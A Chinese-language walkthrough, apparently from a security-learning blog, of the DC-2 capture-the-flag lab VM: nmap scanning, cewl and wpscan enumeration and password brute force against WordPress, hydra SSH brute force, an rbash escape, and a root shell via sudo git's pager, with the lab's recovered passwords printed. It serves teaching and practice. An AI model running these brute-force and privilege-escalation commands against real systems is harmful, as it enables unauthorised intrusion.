【CyberSecurityLearning 71】DC系列之DC-2渗透测试(WordPress)
目錄
DC-2靶機滲透測試
一、實驗環境
二、實驗要求
三、滲透過程演示
flag1:
flag2:
flag3:
flag4:
final-flag:
?
DC-2靶機滲透測試
一、實驗環境
實驗環境:
kali2021:192.168.3.151/24(橋接到vmnet0)
靶機環境DC-2(橋接到vmnet0,MAC地址:00:0C:29:3F:B7:2B)
保證kali和DC-2在同一個網段
二、實驗要求
靶機中一共有五個flag文件,我們需要找到它們,即可完成任務。
三、滲透過程演示
開啟DC-2環境
DC-2對于我們來說完全是黑盒的,我們所知道的只有它的網卡模式是橋接到VMnet0,MAC地址是00:0C:29:3F:B7:2B
接下來我們需要通過它的MAC地址找到DC-2的IP地址(可知DC-2的IP地址為192.168.3.150)
對這個IP地址做信息收集:
nmap -A 192.168.3.150 -p 1-65535 -oN nmap.A
我們得知DC-2開啟了80端口,我們訪問一下(訪問其IP ,連接失敗)
在瀏覽器輸入ip進行訪問,發現無法訪問
添加本地DNS解析
打開C:\Windows\System32\drivers\etc下的hosts文件,添加如下一行
刷新后發現能成功訪問(我們原來輸入的是IP地址,它會自動跳轉到DC-2)
其實正常情況下來講,打開瀏覽器我們輸入IP地址的時候,實際上地址欄不應該直接跳到dc-2,如果想正確的訪問dc-2這樣一個web應用,需要給一個本地的解析,否則訪問不了!
除了本地需要修改hosts文件,那我們用kali虛擬機去訪問目標80端口的時候,我們也需要去修改一下本機的host文件
vim /etc/hosts
我們測試ping dc-2
這就說明我們通過域名的方式就能去訪問dc-2的一個web應用
?
我們簡單去瀏覽一下這個網站,發現這個網站是用WordPress寫的,它是WordPress模板,WordPress是我們開源的cms的PHP編寫的
flag1:
觀察選項卡的時候發現有個flag,點開,發現flag1
Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.
給出的提示是:需要使用cewl工具破解密碼,用一個身份登錄后,能找到下一個flag。所以接下來會用到cewl工具破解密碼。使用cewl破解密碼前,要先找到wordpress的后臺登錄地址,通過百度可以查到,后臺地址是在首頁地址后加wp-login.php,登錄界面如下圖所示:
cewl工具(自動集成在kali虛擬機)
作用:cewl會自動去爬行網站的網頁,工具網頁的關鍵字會生成一個字典
為什么要這么做呢?我們可能在滲透測試或者是攻防演練的過程中,我們需要做一個信息收集,我們往往很多的信息都是放在我們網頁里面的
cewl工具使用:cewl 域名或IP地址 > 保存到一個文件中
cewl dc-2 > pwd.dic
我們拿到這個網站,由于它是一個網站,我們觀察這個網站的結構,發現它是一層一層的,我們做一個目錄的掃描
有很多工具能對網站目錄做掃描:dirb、gobuster等
我們這里演示一下用MSF做網站目錄的掃描:
啟動一下msf:msfconsole
使用輔助模塊:use auxiliary/scanner/http/dir_scanner(我們選擇了目錄掃描模塊)
看一下選項:show options
我們掃出來兩個目錄:
[+] Found http://192.168.3.150:80/icons/ 403 (192.168.3.150)
[+] Found http://192.168.3.150:80/wp-includes/ 200 (192.168.3.150)
訪問一下http://192.168.3.150:80/wp-includes/ 沒什么發現
但是知道是用PHP編寫的,并且屬于WordPress(一個開源的CMS)
接下來使用kali自帶的一款工具:wpscan
WPScan使用(WordPress掃描工具)
常用選項
| --update | 更新到最新版本 |
| --url | -u ?要掃描的`WordPress`站點. |
| --force | -f ? 不檢查網站運行的是不是`WordPress |
| --enumerate | -e [option(s)] ?枚舉 |
其他選項
| u | 枚舉用戶名,默認從1-10 |
| u[10-20] | 枚舉用戶名,配置從10-20 |
| p | 枚舉插件 |
| vp | 只枚舉有漏洞的插件 |
| ap | 枚舉所有插件,時間較長 |
| tt | 列舉縮略圖相關的文件 |
| t | 枚舉主題信息 |
| vt | 只枚舉存在漏洞的主題 |
| at? | 枚舉所有主題,時間較長 |
| --exclude-content-based | 當使用枚舉選項時,可以使用該參數做一些過濾,基于正則或者字符串,可以不寫正則分隔符,但要用單引號或雙引號包裹 |
| --config-file | -c |
| --user-agent | -a |
| --cookie | ? |
| --random-agent | -r 使用隨機User-Agent |
| --follow-redirection | 如果目標包含一個重定向,則直接跟隨跳轉 |
| --batch | 無需用戶交互,都使用默認行為 |
| --no-color | 不要采用彩色輸出 |
| --wp-content-dir | ? |
| --wp-plugins-dir | ? |
| --proxy | <[protocol://]host:port設置一個代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5,如果未設置默認是HTTP協議 |
| --proxy-auth | ? |
| --basic-auth | ? |
| --wordlist | -w |
| --username | -U |
| --usernames | path-to-file指定爆破用戶名字典 |
| --threads | -t |
| --cache-ttl | cache-ttl設置 cache TTL |
| --request-timeout | request-timeout請求超時時間 |
| --connect-timeout | connect-timeout連接超時時間 |
| --max-threads | max-threads最大線程數 |
| --throttle | milliseconds當線程數設置為1時,設置兩個請求之間的間隔 |
| --help | -h 輸出幫助信息 |
| --verbose | -v 輸出Verbose |
| --version | 輸出當前版本 |
?
在使用wpscan之前我們要做一個工具的更新
wpscan --update??? 更新工具
apt-get install wpscan wpscan?? 更新
注:如果wpscan 無法使用,可以嘗試更換新的kali 虛擬機,筆者就碰到類似的問題,安裝 kali 2020.2 之后,wpscan 啟動成功
附清華大學開源鏡像站kali2020.2(amd64,installer)下載鏈接
https://mirrors.tuna.tsinghua.edu.cn/kali-images/current/kali-linux-2020.2-installer-amd64.iso
wpscan查看幫助:wpscan -h
?
wpscan --url dc-2 -e u?????? 列出WordPress用戶和賬號
發現admin、Jerry和tom三個用戶
我們可以寫一個字典,把這三個用戶名放到一個字典(user.dic)
接下來可以去嘗試爆破,我們要先得到網站的后臺(很容易掃到是wp-login.php)
爆破表單方法(可以用burpsuite、wpscan等來爆破)
wpscan 爆破用戶
wpscan --url dc-2 -U user.dic -P pwd.dic
接下來使用【tom/parturient】和【jerry/adipiscing】登錄網站
登錄成功:
網站里面隨便逛逛,好像沒什么特別的東西
flag2:
我們登錄一下jerry(adipiscing)
打開Pages選項,發現flag2
提示:如果你不能再去攻擊WordPress,你就考慮其他方法
之前還掃到它開放了7744端口,我們掃描爆破一下:
hydra -L user.dic -P pwd.dic ssh://192.168.3.150 -s 7744 -o hydra.ssh -vV
得到ssh,用戶名tom,密碼:parturient
我們ssh連接tom:
?
flag3:
繞過-rbash的限制:
BASH_CMDS[a]=/bin/sh;a??? 把/bin/bash給一個變量,這個變量叫a
/bin/bash
export PATH=$PATH:/bin/?? 導入環境變量
export PATH=$PATH:/usr/bin
提示:把線索引向jerry
其實這四條命令前兩條已經完成了繞過,后兩句是導入環境變量
flag3中的線索引向了jerry
我們cat /etc/passwd,看看有沒有jerry
我們切換jerry:
su jerry
password是adipiscing
?
flag4:
提示:還不是root權限
我們到根下,看有沒有root
接下來我們就應該考慮提權了。
根據flag4的提示,git,想git能不能提權啊?可以
我們執行:sudo -l
查看具有root權限的命令
sudo -l
sudo git能夠執行,不要你輸入密碼
這里就考慮,git能以root權限去執行命令,那git能不能去調用bash
final-flag:
git 提權
看到關鍵詞git提示咱可以使用git提權
可使用sudo git help config(用這個) 或者 sudo git -p help
在輸入!/bin/bash即可登錄root用戶
sudo git -p --help(讓git參數強制進入交互模式)
強制進入交互式狀態,讓頁面緩沖區無法顯示全部信息
!/bin/bash
發現可以,whoami
?
?
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 71】DC系列之DC-2渗透测试(WordPress)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【2016年第5期】卫星影像大数据情报分
- 下一篇: 作者:姚前(1970-),男,中国人民银